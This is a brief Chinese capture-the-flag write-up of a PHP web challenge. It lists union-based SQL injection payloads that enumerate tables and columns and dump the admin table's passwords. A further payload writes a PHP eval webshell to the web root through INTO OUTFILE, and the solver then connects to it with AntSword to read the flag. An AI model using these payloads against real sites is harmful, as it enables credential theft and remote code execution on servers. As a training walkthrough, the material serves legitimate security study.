1.看到php?id= ,然后刚好有个框,直接测试sql注入

2.发现输入1' union select 1,2,3#的时候在2处有回显

3.查看表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

4.查看列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' #

5.查看admin的密码
-1' union select 1,group_concat(id,admin,password),3 from admin #

6.目录扫描发现有一个phpinfo.php,访问绝对路径

6.构造一句话木马语句
-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/var/www/html/q.php' #

7.蚁剑连接

8.根目录找到flag
